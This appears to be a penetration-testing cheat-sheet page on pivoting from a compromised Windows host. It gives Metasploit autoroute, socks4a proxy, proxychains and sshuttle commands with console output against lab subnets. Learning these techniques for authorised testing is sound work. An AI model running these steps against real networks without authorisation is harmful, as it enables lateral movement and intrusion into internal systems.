> For the complete documentation index, see [llms.txt](https://arfarmsec.gitbook.io/cheat-sheets/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://arfarmsec.gitbook.io/cheat-sheets/windows-privilege-escalation/port-forwarding.md).

# Port Forwarding

## Pivoting with Metasploit

Four steps, after a shell on a remote host has been obtained:

1. autoroute from meterpreter
2. socks proxy from msfconsole
3. modify /etc/proxychains.conf
4. proxychains

#### Step 1

From a meterpreter session on compromised machine:

```
meterpreter > run autoroute -s 172.16.2.0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.16.2.0/255.255.255.0...
[+] Added route to 172.16.2.0/255.255.255.0 via 10.10.110.3
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   172.16.2.0         255.255.255.0      Session 4

```

In the above instance, the compromised machine is 172.16.1.20.  We are trying to navigate to the 172.16.2.0/24 subnet.  Note that the compromised machine is in the 172.16.1.0/24 subnet.

#### Step 2

Background the meterpreter session and use module:

```
use auxiliary/server/socks4a
```

Set SVCHost to your (attacking) IP address

```
meterpreter > background
[*] Backgrounding session 4...
msf5 exploit(windows/smb/psexec) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > show options

Module options (auxiliary/server/socks4a):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The address to listen on
   SRVPORT  1080             yes       The port to listen on.


Auxiliary action:

   Name   Description
   ----   -----------
   Proxy  Run SOCKS4a proxy


msf5 auxiliary(server/socks4a) > set SRVHOST 10.10.14.6
SRVHOST => 10.10.14.6
msf5 auxiliary(server/socks4a) > run

```

#### Step 3

Modify /etc/proxychains.conf so that socks4 points to your IP address, as specified by the SVCHost in metasploit.

```
#socks4 	127.0.0.1 9050
socks4 10.10.14.6 1080

# In this example, 10.10.14.6 is the IP of the Kali machine.
```

#### Step 4

Run nmap (or other tools) with proxychains

```
proxychains nmap 172.16.2.101
```

## Pivoting with SShuttle

SShuttle creates an easy-to-use vpn-like connection for pivoting across networks.  Our format is like this:

```
# sshuttle -vr USER@PIVOT_IP_ADDRESS NETWORK/CIDR

sshuttle -vr user@10.10.110.162 172.16.3.0/24
```